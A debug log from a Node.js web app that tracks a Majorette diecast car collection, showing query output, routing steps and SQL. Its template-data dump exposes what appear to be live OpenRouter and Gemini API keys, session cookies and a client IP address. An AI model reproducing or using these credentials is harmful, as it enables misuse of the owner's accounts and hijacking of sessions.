      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:02:11.740Z server-connect:router Serving templateView /
2026-02-04T07:02:11.740Z server-connect:app Executing action step identify
2026-02-04T07:02:11.740Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:11.740Z server-connect:output identity: 1
2026-02-04T07:02:11.740Z server-connect:app Executing action step restrict
2026-02-04T07:02:11.740Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:11.741Z server-connect:output restrict: undefined
2026-02-04T07:02:11.741Z server-connect:app Executing action step restrict
2026-02-04T07:02:11.741Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:11.741Z server-connect:output restrict: undefined
2026-02-04T07:02:11.741Z server-connect:router Render template layouts/main
2026-02-04T07:02:11.741Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:02:16.149Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:02:16.149Z server-connect:app Executing action step identify
2026-02-04T07:02:16.149Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:16.149Z server-connect:output identity: 1
2026-02-04T07:02:16.149Z server-connect:app Executing action step restrict
2026-02-04T07:02:16.149Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:16.150Z server-connect:output restrict: undefined
2026-02-04T07:02:16.150Z server-connect:app Executing action step condition
2026-02-04T07:02:16.150Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:02:16.150Z server-connect:app Executing action step update
2026-02-04T07:02:16.150Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:02:16.151Z server-connect:output update: { affected: 1 }
2026-02-04T07:02:16.151Z server-connect:app Executing action step upload
2026-02-04T07:02:16.151Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:02:16.151Z server-connect:output upload_image: []
2026-02-04T07:02:16.151Z server-connect:app Executing action step repeat
2026-02-04T07:02:16.151Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:02:16.151Z server-connect:output repeat_images: []
2026-02-04T07:02:16.151Z server-connect:output condition: undefined
2026-02-04T07:02:16.448Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:02:16.448Z server-connect:app Executing action step identify
2026-02-04T07:02:16.448Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:16.449Z server-connect:output identity: 1
2026-02-04T07:02:16.449Z server-connect:app Executing action step restrict
2026-02-04T07:02:16.449Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:16.449Z server-connect:output restrict: undefined
2026-02-04T07:02:16.449Z server-connect:app Executing action step paged
2026-02-04T07:02:16.449Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:02:16.452Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
